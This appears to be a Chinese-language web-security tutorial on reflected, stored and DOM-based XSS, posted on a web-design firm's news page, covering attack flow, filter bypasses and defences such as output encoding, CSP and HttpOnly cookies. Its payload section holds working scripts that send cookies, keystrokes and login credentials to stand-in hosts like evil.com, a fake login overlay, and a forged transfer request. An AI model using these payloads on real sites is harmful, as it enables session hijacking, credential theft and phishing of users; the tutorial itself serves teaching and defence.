尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

深入解析XSS攻击:从反射型到DOM型的攻防实战

深入解析XSS攻击:从反射型到DOM型的攻防实战
📅 发布时间:2026/7/1 15:51:02

1. 项目概述:从“弹窗”到“数据窃取”,XSS的攻防世界

如果你是一名Web开发者,或者对网络安全稍有了解,那么“XSS”这个词你一定不陌生。它就像一个幽灵,在互联网的早期就存在,时至今日,依然是OWASP Top 10榜单上的常客。很多人对XSS的第一印象可能就是一个弹窗,觉得它“无害”甚至有点“好玩”。但事实是,一个精心构造的XSS攻击,足以让一个用户账户被盗、让一个网站的管理后台沦陷,甚至让成千上万的用户数据泄露。今天,我们就来深入聊聊XSS攻击,特别是它的几种常见类型。这不仅仅是理论,更是我过去十多年在安全测试和应急响应中,无数次亲眼所见、亲手复现的真实威胁。理解它们,是你构建安全Web应用的第一道,也是最重要的一道防线。

简单来说,XSS(跨站脚本攻击)的核心在于“跨站”和“脚本”。攻击者利用网站对用户输入过滤不严的漏洞,将恶意的脚本代码“注入”到网页中。当其他用户浏览这个被“污染”的网页时,嵌入的恶意脚本就会在他们的浏览器中执行。这个脚本能干的事情,可就远远不止弹个窗那么简单了。它能够窃取用户的Cookie、会话令牌,从而冒充用户身份;能够篡改页面内容,进行钓鱼欺诈;甚至能够利用浏览器发起进一步攻击。接下来,我们将拆解三种最常见的XSS类型:反射型、存储型和DOM型,看看它们是如何工作的,以及我们该如何防御。

2. 核心攻击类型深度解析:反射型、存储型与DOM型

XSS攻击虽然目标一致,但根据恶意脚本的“存储”和“触发”位置不同,可以分为几种主要类型。理解它们的区别,对于精准防御至关重要。

2.1 反射型XSS:一次性的“钓鱼钩”

反射型XSS,也叫非持久型XSS,是最常见、也相对容易理解的一种。它的攻击流程可以概括为“诱导点击-服务器反射-浏览器执行”。

攻击原理与流程:

  1. 攻击者构造恶意链接:攻击者会找到一个存在XSS漏洞的页面,通常是一个搜索框、错误信息页面或任何会将用户输入直接“反射”回页面的地方。例如,一个搜索功能,搜索关键词会显示在结果页的标题里:“您搜索的关键词是:[用户输入]”。
  2. 诱导用户点击:攻击者将这个包含恶意脚本的链接,通过邮件、社交媒体、论坛帖子等方式发送给目标用户。链接看起来可能人畜无害,甚至经过短链接伪装。
  3. 服务器反射:用户点击链接,浏览器向服务器发起请求,这个恶意脚本作为请求参数(如URL中的?q=<script>alert(1)</script>)被发送到服务器。
  4. 浏览器执行:服务器在处理请求时,未经过滤或转义,就直接将这个参数值拼接进返回的HTML页面中。用户的浏览器接收到页面,将其作为HTML解析,其中的恶意脚本就被执行了。

一个典型场景:假设一个网站有个欢迎页面,URL是http://example.com/welcome?name=Alice,页面会显示“Hello, Alice!”。如果后端代码直接拼接:

<p>Hello, <%= request.getParameter("name") %>!</p>

那么,攻击者可以构造链接:http://example.com/welcome?name=<script>alert('XSS')</script>。用户点击后,页面就会弹窗。

反射型XSS的特点:

  • 非持久化:恶意脚本没有存储在服务器上,而是“躺”在URL里。每次攻击都需要用户点击那个特定的链接。
  • 依赖社交工程:成功率很大程度上取决于攻击者诱导用户点击的技巧。
  • 常出现在搜索、错误反馈等即时响应用户输入的功能点。

注意:现代浏览器(如Chrome、Edge)内置的XSS审计器(XSS Auditor)或反射型XSS过滤器对这类攻击有一定防护,但并非绝对可靠,且攻击者有多种方法可以绕过。

2.2 存储型XSS:潜伏的“定时炸弹”

存储型XSS,或称持久型XSS,是危害性最大的一种。它与反射型的最大区别在于,恶意脚本被永久存储在了服务器端的目标资源里(如数据库、文件系统),所有访问该资源的用户都会中招。

攻击原理与流程:

  1. 攻击者提交恶意内容:攻击者找到网站一个允许用户提交并存储数据的功能点,如论坛发帖、用户评论、个人简介、上传文件名称等。他将恶意脚本作为正常内容提交。
  2. 服务器存储:后端服务器未对输入进行有效过滤和净化,直接将包含脚本的内容存入数据库。
  3. 用户访问触发:当任何普通用户(包括受害者自己日后访问)浏览到包含该恶意内容的页面时(如查看那条评论或帖子),服务器从数据库取出数据,未经处理便输出到页面。
  4. 浏览器自动执行:用户的浏览器渲染页面,存储的恶意脚本被当作页面的一部分执行。

一个典型场景:一个博客网站的评论系统。攻击者在评论框中输入:

这篇博文真棒!<script>var img=new Image(); img.src='http://evil.com/steal?cookie='+document.cookie;</script>

如果网站没有过滤,这条评论连同脚本一起被存入数据库。此后,每一个访问这篇博文的读者,其浏览器都会在渲染评论时,悄无声息地向evil.com发送一个携带自己Cookie的请求。

存储型XSS的特点:

  • 持久化:一次注入,长期影响所有访问者。
  • 危害范围广:无需诱导点击,用户正常访问即可触发。
  • 常用于用户生成内容(UGC)场景:评论、留言板、昵称、聊天记录等。
  • 是蠕虫传播的温床:历史上著名的“Samy蠕虫”就是利用MySpace的存储型XSS,在几小时内感染了百万用户。

实操心得:在渗透测试中,存储型XSS的挖掘往往需要更全面的观察。不仅要测试输入点,还要关注数据在整个应用中的流动路径:从哪里输入,存储在哪里,又从哪些页面被读取并展示。一个在个人设置页注入的脚本,可能会在管理员查看用户列表时触发,从而造成更严重的后果(这常被称为“二阶XSS”或“盲打XSS”)。

2.3 DOM型XSS:纯前端的“影子杀手”

DOM型XSS是一种比较特殊的类型。它的恶意代码并不经过服务器端处理(或者说,服务器返回的响应是正常的),漏洞发生在客户端JavaScript代码对DOM(文档对象模型)进行操作的过程中。

攻击原理与流程:

  1. 源头:攻击者构造一个特殊的URL,其中包含恶意数据片段(如Hash部分#malicious-data)。
  2. 客户端处理:用户的浏览器请求该URL,服务器返回一个正常的HTML页面(不包含恶意脚本)。
  3. JavaScript动态操作DOM:页面中的JavaScript代码(例如,使用location.hash,document.URL,document.referrer等客户端可控的来源)读取了URL中的恶意数据。
  4. 不安全的DOM操作:JavaScript代码使用诸如innerHTML,outerHTML,document.write(),eval()等危险方法,将这些未经验证的数据直接写入DOM。
  5. 脚本执行:当恶意数据被当作HTML或JavaScript解析并插入DOM时,攻击便发生了。

一个典型场景:一个页面有如下JavaScript代码:

// 从URL的hash中获取消息并显示 var message = location.hash.substring(1); // 去掉#号 document.getElementById('msg').innerHTML = "Welcome: " + message;

正常访问http://example.com/page#Alice,页面会显示“Welcome: Alice”。 但攻击者可以构造链接:http://example.com/page#<img src=1 onerror=alert('XSS')>。用户点击后,innerHTML将字符串直接解析为HTML,<img>标签的onerror事件被触发,执行恶意脚本。

DOM型XSS的特点:

  • 纯客户端漏洞:服务器响应可能是完全“干净”的,因此传统的服务端日志监控和WAF(Web应用防火墙)可能无法检测。
  • 难以排查:因为问题出在前端JS逻辑里,需要审计前端代码的DOM操作安全性。
  • 来源多样:除了location对象,document.referrer、window.name、postMessage数据等都可能成为攻击入口。

常见问题与排查技巧实录:在代码审计时,如何快速定位潜在的DOM型XSS?

  1. 搜索危险函数/属性:在项目前端代码中全局搜索innerHTML、outerHTML、document.write()、eval()、setTimeout()/setInterval()(第一个参数为字符串时)、Function()构造函数等。
  2. 追踪数据流:找到这些危险函数的调用点后,逆向追踪其参数来源。查看这个参数是否来自location.search、location.hash、location.pathname、document.URL、document.referrer、window.name或postMessage事件的数据。
  3. 检查过滤逻辑:查看数据在到达危险函数前,是否经过了严格的编码或过滤。注意,针对HTML上下文的编码(如转义< > & " ')和JavaScript上下文的编码(如转义\ ' "和换行)是不同的。
  4. 使用自动化工具辅助:可以使用类似DOMInvader(Burp Suite插件)、浏览器开发者工具的Debugger设置条件断点,来动态跟踪数据流。

3. 攻击载荷(Payload)的构造艺术与实战场景

理解了XSS的类型,我们来看看攻击者手中的“武器”——XSS Payload。它不仅仅是一段<script>alert(1)</script>,而是根据攻击目标精心构造的恶意脚本。

3.1 基础Payload与绕过技巧

最初的Payload往往用于验证漏洞是否存在。

  • 经典弹窗:<script>alert(document.domain)</script>。证明脚本在当前域下执行。
  • 利用HTML标签事件处理器:当<script>标签被过滤时,攻击者会转向其他支持事件属性的标签。
    • <img src=x onerror=alert(1)>:图片加载失败触发onerror。
    • <svg onload=alert(1)>:SVG标签加载时触发onload。
    • <body onload=alert(1)>,<input type=text onfocus=alert(1) autofocus>等等。
  • 利用JavaScript伪协议:<a href="javascript:alert(1)">Click me</a>, 或者<iframe src="javascript:alert(1)">。

绕过过滤的常见技巧:

  1. 大小写混淆:<ScRiPt>alert(1)</sCrIpT>, 有些简单的过滤器只匹配全小写。
  2. 标签属性插入:<script x=1>alert(1)</script>, 在开标签内插入无关属性。
  3. 编码混淆:
    • HTML实体编码:<script>alert(1)</script>可能被过滤,但&lt;script&gt;alert(1)&lt;/script&gt;在输出到HTML上下文时会被浏览器解码执行。
    • JavaScript Unicode转义:\u0061\u006c\u0065\u0072\u0074(1)代表alert(1)。
    • URL编码:在URL参数中,%3Cscript%3Ealert(1)%3C/script%3E。
  4. 利用解析差异:浏览器HTML解析器的“宽容”特性。例如,<script/x>alert(1)</script>,<script>alert(1)</script(缺少闭合尖括号),在某些情况下仍能被解析。
  5. 嵌套绕过:如果过滤器递归删除<script>字符串,可以用<scr<script>ipt>,删除内层的<script>后,剩下的字符正好拼成新的<script>。

3.2 高级攻击Payload与实战场景

验证漏洞后,真正的攻击Payload才会登场。

场景一:会话劫持(Cookie窃取)这是最常见的目的。攻击者搭建一个接收服务器,然后注入如下Payload:

<script> var img = new Image(); img.src = 'http://evil-collector.com/steal?cookie=' + encodeURIComponent(document.cookie); </script>

或者更隐蔽地,利用<img>标签自动发起请求:

<img src="http://evil-collector.com/steal?cookie=[实际需用JS动态拼接]" style="display:none;">

但更常见的是使用<script>直接向外部域发送请求。获取到用户的会话Cookie后,攻击者即可在另一个浏览器中设置该Cookie,冒充用户登录。

场景二:键盘记录与表单劫持

document.onkeypress = function(e) { var img = new Image(); img.src = 'http://evil.com/log?key=' + encodeURIComponent(String.fromCharCode(e.keyCode)); }; // 或者劫持表单提交 var form = document.getElementById('loginForm'); form.onsubmit = function() { var user = document.getElementById('username').value; var pass = document.getElementById('password').value; new Image().src = 'http://evil.com/creds?u='+user+'&p='+pass; // 仍然允许表单正常提交,用户不易察觉 return true; };

场景三:前端钓鱼与页面篡改攻击者可以直接修改DOM,在页面上插入一个伪造的登录框。

<script> var fakeLogin = document.createElement('div'); fakeLogin.innerHTML = '<h3>会话已过期,请重新登录</h3><input id="fakeUser" placeholder="用户名"><input id="fakePass" type="password" placeholder="密码"><button onclick="submitFake()">登录</button>'; fakeLogin.style.cssText = 'position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;z-index:9999;'; document.body.appendChild(fakeLogin); function submitFake() { fetch('http://evil.com/phish', {method:'POST', body: JSON.stringify({u:document.getElementById('fakeUser').value, p:document.getElementById('fakePass').value})}); fakeLogin.innerHTML = '<p>登录成功,正在跳转...</p>'; setTimeout(() => document.body.removeChild(fakeLogin), 2000); } </script>

场景四:发起进一步攻击(CSRF、内网探测)由于XSS脚本在用户浏览器中、在目标网站的源(Origin)下执行,它可以代表用户发起任何经过身份验证的请求。

  • 执行CSRF攻击:自动发起转账、修改密码、发布内容等请求。
    fetch('/api/transfer', { method: 'POST', credentials: 'include', // 携带Cookie headers: {'Content-Type': 'application/json'}, body: JSON.stringify({to: 'attacker_account', amount: 10000}) });
  • 内网探测(SSRF雏形):利用浏览器作为跳板,探测企业内网应用。
    var internalIPs = ['192.168.1.1', '192.168.1.100']; internalIPs.forEach(ip => { var img = new Image(); img.onload = function() { console.log('Found: ' + ip); }; img.onerror = function() {}; img.src = 'http://' + ip + '/favicon.ico'; });

实操心得:在实际渗透测试或漏洞赏金(Bug Bounty)项目中,证明XSS漏洞的危害性(Proof of Concept, PoC)至关重要。一个简单的alert(1)可能被评级为“低危”,但如果你能构造一个Payload,成功窃取到当前用户的会话Cookie,并演示如何用这个Cookie登录系统,那么这个漏洞的评级和赏金会大幅提升。因此,深入理解Payload构造,是安全研究员的核心能力之一。

4. 防御体系构建:从输入到输出的全方位防护

防御XSS没有银弹,需要一套纵深防御策略,在数据流动的每一个环节设置关卡。

4.1 输入验证与过滤:第一道防线

原则:对输入进行严格的“验证”而非简单的“过滤”。验证应基于“白名单”原则,即只允许已知安全的字符或格式。

  • 长度限制:对用户名、邮箱、搜索关键词等设置合理的长度上限。
  • 格式校验:使用正则表达式严格校验数据类型。例如,邮箱地址、电话号码、数字ID等必须有固定格式。
  • 内容拒绝:对于明确不需要HTML内容的输入(如用户名、手机号),直接拒绝任何包含<,>等HTML元字符的输入,而不仅仅是转义。
  • 警惕过滤绕过:不要试图用黑名单(列出所有危险字符)去过滤,攻击者的绕过技巧层出不穷。复杂的HTML/JS解析应交由专业的库处理。

4.2 输出编码:最核心、最有效的措施

原则:在数据输出到不同上下文时,进行针对性的编码。这是防御XSS的基石。

输出上下文危险字符示例编码方式说明
HTML正文< > & " 'HTML实体编码将<转为&lt;,>转为&gt;,&转为&amp;,"转为&quot;,'转为&#x27;(或&apos;)
HTML属性" ' < > &以及空格HTML属性编码同上,尤其注意属性值必须用引号包裹。<div attr="${encodedValue}">
JavaScript' " \ < > &以及换行符JavaScript Unicode转义或十六进制编码将数据放入JS字符串时,转义引号和反斜杠。var user ="${data.replace(/["'\\]/g, '\\$&')}";
URL参数非字母数字字符URL百分比编码在URL的查询字符串或路径中输出数据时使用。?key=${encodeURIComponent(data)}
CSS; : ( ) & < >等CSS编码较为少见,但需注意。background: url("${encodedData}")

重要建议:使用成熟的、经过安全审计的库来完成编码工作,而不是自己手写替换函数。例如,在Java中可以使用OWASP ESAPI,在Python中可以使用html库的escape()函数,在JavaScript前端可以使用textContent代替innerHTML,或者使用如DOMPurify这样的净化库。

4.3 内容安全策略(CSP):最后的坚固堡垒

CSP是一个声明式的安全策略头,它告诉浏览器哪些外部资源(脚本、样式、图片、字体等)可以被加载和执行,从根本上削减XSS的威胁。

一个严格的CSP示例:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src *; font-src 'self'; object-src 'none';
  • default-src 'self':默认只允许加载同源资源。
  • script-src 'self' https://trusted.cdn.com:脚本只允许来自同源和指定的可信CDN。禁止'unsafe-inline',这能阻止所有内联脚本(包括事件处理器和javascript:伪协议),是防御XSS的关键。
  • style-src 'self' 'unsafe-inline':样式允许同源和内联(实践中完全禁止内联样式较难)。
  • img-src *:图片可以从任何地方加载。
  • object-src 'none':禁止<object>,<embed>,<applet>等,防范插件带来的风险。

部署CSP的步骤:

  1. 审计现有代码:收集所有内联脚本和样式(包括事件处理器),以及所有外部资源依赖。
  2. 制定策略:根据审计结果,制定初始CSP策略。可以先使用Content-Security-Policy-Report-Only头,只报告违规而不阻塞,观察影响。
  3. 改造代码:将内联脚本和样式移出到外部文件。对于必须的内联脚本,可以使用nonce(一次性随机数)或hash(脚本内容的哈希值)来允许其执行。
    • Nonce示例: 服务器生成:<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">...</script>CSP头:script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'
    • Hash示例: 脚本内容:alert('Hello, world.');计算SHA-256哈希(Base64编码):qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=CSP头:script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng='
  4. 启用并监控:切换到强制模式(Content-Security-Policy),并配置report-uri或report-to指令收集违规报告,持续优化策略。

4.4 其他辅助防御措施

  • 设置HttpOnly Cookie:在设置会话Cookie时,添加HttpOnly标志。这能阻止JavaScript通过document.cookie访问此Cookie,有效缓解Cookie窃取攻击。Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
  • 使用安全的框架和库:现代前端框架(如React, Vue, Angular)默认提供了较好的XSS防护,它们通常使用文本插值({{ data }})时会自动进行HTML编码。但要注意,使用v-html(Vue)或dangerouslySetInnerHTML(React)等API时,相当于主动关闭了防护,必须对来源数据极度谨慎。
  • 实施严格的CORS策略:限制哪些外部源可以访问你的资源,虽然主要针对CSRF和信息泄露,但也是整体安全的一部分。
  • 定期安全审计与渗透测试:使用自动化工具(如OWASP ZAP, Burp Suite Scanner)和手动测试相结合,定期对应用进行漏洞扫描。特别关注所有用户输入点和动态内容输出点。

常见问题与排查技巧实录:Q:我已经对所有输出做了HTML编码,为什么还有XSS风险?A:编码必须匹配输出上下文。最常见的错误是编码上下文错配。例如,你将用户输入进行了HTML实体编码后,放入了<script>标签内部的一个字符串变量里:

<script> var userInput = "&lt;script&gt;alert(1)&lt;/script&gt;"; // 这里编码是多余的,甚至有害 document.getElementById('msg').innerHTML = userInput; // 错误!这里应该对userInput进行JS编码,而不是HTML编码。 </script>

在这个例子中,userInput被当作一个普通的JS字符串赋值给变量,其HTML编码字符不会被解码。但当它被innerHTML赋值时,浏览器会将其作为HTML解析,而&lt;被直接当作文本显示,不会执行。但如果攻击者的输入是\"-alert(1)-\",经过HTML编码后不变,放入JS字符串就会破坏语法,可能造成XSS。正确的做法是:在JS字符串上下文,对数据进行JS编码;在最终输出到HTML时,再进行HTML编码。

Q:WAF能完全防御XSS吗?A:不能。WAF(Web应用防火墙)是一种基于规则和特征的防护手段,它像一道滤网,可以拦截大量已知的、模式化的攻击Payload,对于“扫街式”的自动化攻击非常有效。但它存在局限性:1) 可能被精心构造的Payload绕过;2) 对DOM型XSS几乎无效;3) 可能产生误报或漏报。WAF应该被视为纵深防御中的一层,而不是唯一或主要的防御措施。安全的根本在于应用自身代码的健壮性。

相关新闻

  • 新手向 OpenClaw 部署实战,十分钟搭建个人桌面数字员工(含安装包)
  • 东晟密封科技博客:打造密封件技术交流新平台
  • 词达人Python智能助手:如何每周节省2.5小时英语学习时间?

最新新闻

  • 三节串联锂电池充电管理芯片横评,效率最高95%成本低
  • 技术解析|音频裁剪的“最小单位”到底是什么?采样点、编码帧、视频帧全讲透
  • 【安徽中医药大学本科毕业论文】基于医药学数据分析的糖尿病诊疗方案推荐系统开发
  • 同一个App,报价5万到50万,到底差在哪?
  • ADCS-ESC8漏洞防御手册:从原理到实战的Active Directory证书服务加固指南
  • 第二十一届全国大学生智能汽车比赛流程以及计分标准

日新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

周新闻

  • Windows字体自定义终极方案:No!! MeiryoUI完全指南
  • Deepin Boot Maker:告别命令行,3分钟制作Linux启动盘的智能解决方案
  • Plain Craft Launcher 2:重新定义你的Minecraft游戏体验

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号